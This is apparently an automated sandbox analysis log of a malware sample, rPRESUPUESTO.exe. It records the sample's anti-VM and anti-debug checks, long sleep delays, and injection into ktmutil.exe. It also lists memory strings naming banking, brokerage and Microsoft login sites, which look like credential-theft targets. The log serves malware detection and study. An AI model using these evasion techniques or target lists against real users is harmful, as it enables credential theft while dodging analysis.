Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: rPRESUPUESTO.exe PID: 3180, type: MEMORYSTR

Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Memory allocated: D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Memory allocated: 2950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Memory allocated: 2760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Memory allocated: 83F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Memory allocated: 93F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Memory allocated: 95D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Memory allocated: A5D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Code function: 5_2_0181096E rdtsc

5_2_0181096E

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 239873	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 239749	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Window / User API: threadDelayed 1817	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Window / User API: threadDelayed 5188	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4913	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 478	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Window / User API: threadDelayed 9841	Jump to behavior

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\ktmutil.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe TID: 3012	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe TID: 3012	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe TID: 3012	Thread sleep time: -239873s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe TID: 3012	Thread sleep time: -239749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe TID: 2352	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1576	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 5852	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 5852	Thread sleep time: -262000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 5852	Thread sleep count: 9841 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 5852	Thread sleep time: -19682000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe TID: 5656	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe TID: 5656	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe TID: 5656	Thread sleep time: -37000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\ktmutil.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\ktmutil.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\ktmutil.exe

Code function: 9_2_0019C0E0 FindFirstFileW,FindNextFileW,FindClose,

9_2_0019C0E0

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 239873	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 239749	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 07c402-5.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 07c402-5.9.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 07c402-5.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 07c402-5.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 07c402-5.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 07c402-5.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 07c402-5.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 07c402-5.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 07c402-5.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 07c402-5.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 07c402-5.9.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 07c402-5.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4587902470.0000000001349000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 07c402-5.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 07c402-5.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 07c402-5.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 07c402-5.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 07c402-5.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 07c402-5.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 07c402-5.9.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 07c402-5.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: firefox.exe, 0000000D.00000002.2619239385.000001F415C3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllGGJ
Source: 07c402-5.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: ktmutil.exe, 00000009.00000002.4587088156.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|(TE
Source: 07c402-5.9.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 07c402-5.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 07c402-5.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Code function: 5_2_0181096E rdtsc

5_2_0181096E

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Code function: 5_2_00417BB3 LdrLoadDll,

5_2_00417BB3

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188C188 mov eax, dword ptr fs:[00000030h]	5_2_0188C188
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188C188 mov eax, dword ptr fs:[00000030h]	5_2_0188C188
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01810185 mov eax, dword ptr fs:[00000030h]	5_2_01810185
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01874180 mov eax, dword ptr fs:[00000030h]	5_2_01874180
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01874180 mov eax, dword ptr fs:[00000030h]	5_2_01874180
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185019F mov eax, dword ptr fs:[00000030h]	5_2_0185019F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185019F mov eax, dword ptr fs:[00000030h]	5_2_0185019F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185019F mov eax, dword ptr fs:[00000030h]	5_2_0185019F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0185019F mov eax, dword ptr fs:[00000030h]	5_2_0185019F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6154 mov eax, dword ptr fs:[00000030h]	5_2_017D6154
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D6154 mov eax, dword ptr fs:[00000030h]	5_2_017D6154
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CC156 mov eax, dword ptr fs:[00000030h]	5_2_017CC156
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018961C3 mov eax, dword ptr fs:[00000030h]	5_2_018961C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018961C3 mov eax, dword ptr fs:[00000030h]	5_2_018961C3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0184E1D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0184E1D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E1D0 mov ecx, dword ptr fs:[00000030h]	5_2_0184E1D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0184E1D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0184E1D0 mov eax, dword ptr fs:[00000030h]	5_2_0184E1D0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A61E5 mov eax, dword ptr fs:[00000030h]	5_2_018A61E5
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018001F8 mov eax, dword ptr fs:[00000030h]	5_2_018001F8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov eax, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov ecx, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov eax, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov eax, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov ecx, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov eax, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov eax, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov ecx, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov eax, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E10E mov ecx, dword ptr fs:[00000030h]	5_2_0187E10E
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01890115 mov eax, dword ptr fs:[00000030h]	5_2_01890115
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187A118 mov ecx, dword ptr fs:[00000030h]	5_2_0187A118
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187A118 mov eax, dword ptr fs:[00000030h]	5_2_0187A118
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187A118 mov eax, dword ptr fs:[00000030h]	5_2_0187A118
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187A118 mov eax, dword ptr fs:[00000030h]	5_2_0187A118
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01800124 mov eax, dword ptr fs:[00000030h]	5_2_01800124
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01864144 mov eax, dword ptr fs:[00000030h]	5_2_01864144
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01864144 mov eax, dword ptr fs:[00000030h]	5_2_01864144
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01864144 mov ecx, dword ptr fs:[00000030h]	5_2_01864144
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01864144 mov eax, dword ptr fs:[00000030h]	5_2_01864144
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01864144 mov eax, dword ptr fs:[00000030h]	5_2_01864144
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01868158 mov eax, dword ptr fs:[00000030h]	5_2_01868158
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CA197 mov eax, dword ptr fs:[00000030h]	5_2_017CA197
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CA197 mov eax, dword ptr fs:[00000030h]	5_2_017CA197
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CA197 mov eax, dword ptr fs:[00000030h]	5_2_017CA197
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4164 mov eax, dword ptr fs:[00000030h]	5_2_018A4164
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018A4164 mov eax, dword ptr fs:[00000030h]	5_2_018A4164
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017FC073 mov eax, dword ptr fs:[00000030h]	5_2_017FC073
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D2050 mov eax, dword ptr fs:[00000030h]	5_2_017D2050
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018680A8 mov eax, dword ptr fs:[00000030h]	5_2_018680A8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018960B8 mov eax, dword ptr fs:[00000030h]	5_2_018960B8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018960B8 mov ecx, dword ptr fs:[00000030h]	5_2_018960B8
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018520DE mov eax, dword ptr fs:[00000030h]	5_2_018520DE
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CA020 mov eax, dword ptr fs:[00000030h]	5_2_017CA020
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CC020 mov eax, dword ptr fs:[00000030h]	5_2_017CC020
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018560E0 mov eax, dword ptr fs:[00000030h]	5_2_018560E0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE016 mov eax, dword ptr fs:[00000030h]	5_2_017EE016
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE016 mov eax, dword ptr fs:[00000030h]	5_2_017EE016
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE016 mov eax, dword ptr fs:[00000030h]	5_2_017EE016
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017EE016 mov eax, dword ptr fs:[00000030h]	5_2_017EE016
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018120F0 mov ecx, dword ptr fs:[00000030h]	5_2_018120F0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01854000 mov ecx, dword ptr fs:[00000030h]	5_2_01854000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01872000 mov eax, dword ptr fs:[00000030h]	5_2_01872000
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CC0F0 mov eax, dword ptr fs:[00000030h]	5_2_017CC0F0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D80E9 mov eax, dword ptr fs:[00000030h]	5_2_017D80E9
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CA0E3 mov ecx, dword ptr fs:[00000030h]	5_2_017CA0E3
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01866030 mov eax, dword ptr fs:[00000030h]	5_2_01866030
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_01856050 mov eax, dword ptr fs:[00000030h]	5_2_01856050
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017C80A0 mov eax, dword ptr fs:[00000030h]	5_2_017C80A0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017D208A mov eax, dword ptr fs:[00000030h]	5_2_017D208A
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0188C3CD mov eax, dword ptr fs:[00000030h]	5_2_0188C3CD
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018563C0 mov eax, dword ptr fs:[00000030h]	5_2_018563C0
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018743D4 mov eax, dword ptr fs:[00000030h]	5_2_018743D4
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018743D4 mov eax, dword ptr fs:[00000030h]	5_2_018743D4
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E3DB mov eax, dword ptr fs:[00000030h]	5_2_0187E3DB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E3DB mov eax, dword ptr fs:[00000030h]	5_2_0187E3DB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E3DB mov ecx, dword ptr fs:[00000030h]	5_2_0187E3DB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187E3DB mov eax, dword ptr fs:[00000030h]	5_2_0187E3DB
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017CC310 mov ecx, dword ptr fs:[00000030h]	5_2_017CC310
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_017F0310 mov ecx, dword ptr fs:[00000030h]	5_2_017F0310
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_018063FF mov eax, dword ptr fs:[00000030h]	5_2_018063FF
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180A30B mov eax, dword ptr fs:[00000030h]	5_2_0180A30B
